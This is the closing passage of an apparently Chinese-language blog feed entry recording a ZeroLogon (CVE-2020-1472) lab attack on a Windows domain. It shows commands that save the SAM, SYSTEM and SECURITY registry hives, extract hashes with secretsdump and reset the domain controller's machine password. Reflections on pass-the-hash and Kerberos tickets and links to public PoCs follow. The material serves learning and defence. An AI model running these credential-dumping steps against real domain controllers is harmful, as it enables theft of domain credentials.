class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 在域控上导出注册表</span><br>reg save HKLM\SYSTEM system.save<br>reg save HKLM\SAM sam.save<br>reg save HKLM\SECURITY security.save<br><br><span class="hljs-comment"># 本地提取原始哈希</span><br>python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL<br><br><span class="hljs-comment"># 恢复原始密码</span><br>python3 reinstall_original_pw.py masterpc 192.168.111.100 &lt;原始哈希&gt;<br></code></pre></td></tr></table></figure><hr><h2 id="一些思考"><a href="#一些思考" class="headerlink" title="一些思考"></a>一些思考</h2><h3 id="关于哈希加密的意义"><a href="#关于哈希加密的意义" class="headerlink" title="关于哈希加密的意义"></a>关于哈希加密的意义</h3><p>刚接触的时候觉得挺矛盾的——破解不了的 hash，结果直接拿去登录了，那加密的意义在哪？</p><p>后来想明白了：<strong>哈希的目的是防止密码被反向获取，而不是防止被重用。</strong> NTLM 协议设计时就没想过”哈希会泄露”的场景——它假设只有域控才能拿到哈希。ZeroLogon 打破了这个假设。</p><h3 id="关于域渗透的学习路径"><a href="#关于域渗透的学习路径" class="headerlink" title="关于域渗透的学习路径"></a>关于域渗透的学习路径</h3><p>从一个漏洞切入整个 Windows 域体系，比直接背命令效果好得多。打完 ZeroLogon，我对以下概念建立了具象理解：</p><ul><li>域控 ≠ 域管（一个是服务器，一个是账号）</li><li>NTLM 认证的 hash 可以直接登录（PTH 的本质）</li><li>机器账户 <code>masterpc$</code> 和普通账户的区别</li><li>Kerberos 票据是”通行证”，黄金票据伪造 KDC，白银票据伪造服务</li><li>SMB 命名管道作为 RPC 传输通道的工作方式</li></ul><hr><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><ul><li><a href="https://github.com/SecuraBV/CVE-2020-1472">SecuraBV 的 zerologon 检测脚本</a></li><li><a href="https://github.com/VoidSec/CVE-2020-1472">VoidSec 的 exploit（带置空功能）</a></li><li><a href="https://github.com/dirkjanm/CVE-2020-1472">dirkjanm 的原版 PoC</a></li><li><a href="https://github.com/fortra/impacket">Impket 工具集</a></li><li><a href="https://github.com/gentilkiwi/mimikatz">Mimikatz</a></li></ul>]]>
    </content>
    <id>http://82.156.189.140:8085/2026/06/30/ZeroLogon/</id>
    <link href="http://82.156.189.140:8085/2026/06/30/ZeroLogon/"/>
    <published>2026-06-30T02:11:17.000Z</published>
    <summary>
      <![CDATA[<h1 id="ZeroLogon（CVE-2020-1472）从零到域控-—-实战记录"><a href="#ZeroLogon（CVE-2020-1472）从零到域控-—-实战记录" class="headerlink" title="ZeroLogon（CVE-2020-1]]>
    </summary>
    <title>ZeroLogon</title>
    <updated>2026-07-18T03:15:21.943Z</updated>
  </entry>
</feed>
